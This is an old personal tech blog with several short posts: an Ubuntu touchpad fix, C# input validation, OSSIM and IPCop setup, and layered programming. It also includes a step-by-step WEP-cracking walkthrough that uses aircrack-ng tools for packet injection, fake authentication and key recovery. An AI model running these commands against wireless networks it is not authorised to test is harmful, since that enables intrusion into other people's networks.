Monday, November 23, 2009

Touchpad Doesn't Work in Ubuntu 9.10

I recently upgraded Ubuntu 9.04 to Ubuntu 9.10. After the upgraded my touchpad didn't work, but if a plug in a usb mouse it works raight. So in the web i find this solution.

Open a terminal (if you don’t have a mouse hooked up, use Alt+F2). then “su” and give the root password (I tried doing this with sudo and still didn’t have enough permission. I “think” you need to be root). At the prompt, type:

#echo options psmouse proto=exps > /etc/modprobe.d/psmouse.modprobe

At the next prompt, type”

#reboot

Your touchpad will come back up after rebooting.

Wednesday, November 11, 2009

Crack a WEP with Intel PRO/Wireless 3945ABG

first download driver for Intel PRO/Wireless 3945ABG, i downloaded ipwraw.

Installing ipwraw:
1.- wget http://dl.aircrack-ng.org/drivers/ipwraw-ng-2.3.4-04022008.tar.bz2 (download driver)

2.- tar -xjf ipwraw-ng* (extract the archive file)

3.- cd ipwraw-ng (go to the extracted folder)
4.- make (compile)
5.- sudo make install (install the driver)
6.- sudo make install_ucode
7.- echo blacklist ipwraw | sudo tee /etc/modprobe.d/ipwraw (blacklist the default ipwraw)
8.- sudo depmod -ae (create a dependency file for the modules)
9.- sudo modprobe ipwraw (load the driver that you installed)
10.-sudo ifconfig wlan0 up (enable the network adapter)
11.-airmon-ng start wlan0 (put your interface into monitor mode)


If the network interface is set correctly, it should say Monitor mode.
Use the injection test to confirm your card can inject prior to proceeding:
# sudo aireplay-ng -9 mon0

Start airodump-ng to discover all the available networks

# sudo airodump-ng mon0

Start airodump-ng to collect the new unique IVs

# sudo airodump-ng -c 11 --bssid xx:xx:xx:xx:xx:xx -w test -i mon0

Use aireplay-ng to do fake authentication with the access point

# sudo aireplay-ng -1 0 -e datel -a xx:xx:xx:xx:xx:xx -h yy:yy:yy:yy:yy:yy mon0

Start aireplay-ng in ARP request replay mode to inject packets

# sudo aireplay-ng -3 -b xx:xx:xx:xx:xx:xx -h yy:yy:yy:yy:yy:yy mon0

Run aircrack-ng to crack the WEP key using the IVs collected


# sudo aircrack-ng -z -b xx:xx:xx:xx:xx:xx test*.ivs
# sudo aircrack-ng -a 1 -0 -n 128 test*.ivs


xx:xx:xx:xx:xx:xx (
MAC address of client)
yy:yy:yy:yy:yy:yy (our Mac address)



Monday, November 2, 2009

Just Allow Numbers in a Textbox

private void textBox1_KeyPress(object sender, KeyPressEventArgs e)
{

if (!char.IsNumber(e.KeyChar) & (Keys)e.KeyChar != Keys.Back & e.KeyChar != '.')
{
e.Handled = true;
}

}

Other basic example using TryParse

private void btn_Click(object sender, EventArgs e)
{

string nombre = textBox1.Text;
int Aux;

if (!int.TryParse(nombre, out Aux))
MessageBox.Show("just numbers");
}

Wednesday, October 21, 2009

How to Install OSSIM

OSSIM stands for Open Source Security Information Management. Its goal is to provide a comprehensive compilation of tools which, when working together, grant network/security administrators with a detailed view over each and every aspect of his or her networks, hosts, physical access devices, server, etc.

1.- Download OSSIM Download from home page.
2.- Create a new VMware.
3.- Boot from the CD-ROM


OSSIM User Guide

Sunday, October 18, 2009

WinSCP

WinSCP connecting the IpCop

The following five steps are optional only if you are going to use the IpCop keyboard and monitor

• Download WinSCP
• Enable the ssh on the IpCop box
• Reboot the IpCop box
• Connect to the IpCop with WinSCP (port is 222)
either if the port is the same 222 you can connect simultaneously the WinSCP and putty
• Connect to the IpCop console with putty (port is 222


Monday, October 5, 2009

Programming Layers












(http://www.docirs.cl/arquitectura_tres_capas.htm)

The layered programming is a programming style in which the primary objective is the separation of business logic from the logic design, a basic example of this is to separate the data layer from the presentation layer to the user.

DAL: A Data Access Layer is a layer of a computer program which provides simplified access to data stored in persistent storage of some kind, such as an entity-relational databse.

This data access layer is used in turn by other program modules to access and manipulate the data within the data store without having to deal with the complexities inherent in this access.


BL: Business logic is a non-technical term generally used to describe the functional algorithms that handle information exchange between a database and a user interface. It is distinguished from input/output data validation and product logic.

Presentation Layer: it is seen by the user (also called the "user layer"), introduced the system to the user, communicates to capture information and user information in a minimum of process (perform a filtering Prior to check for any formatting errors). This layer communicates only with the business layer. It is also known as graphical interface and must have the characteristic of being "friendly" (understandable and easy to use) for the user.

Sunday, September 20, 2009

IPCop plus URLFilter

Here you got another video tutorial about installing urlfilter in IPCop

Firts you have to download WINSCP from the source page http://winscp.net/eng/download.php#download2 and install it on you windows xp

Then download URLfiltre

And now just follow the video.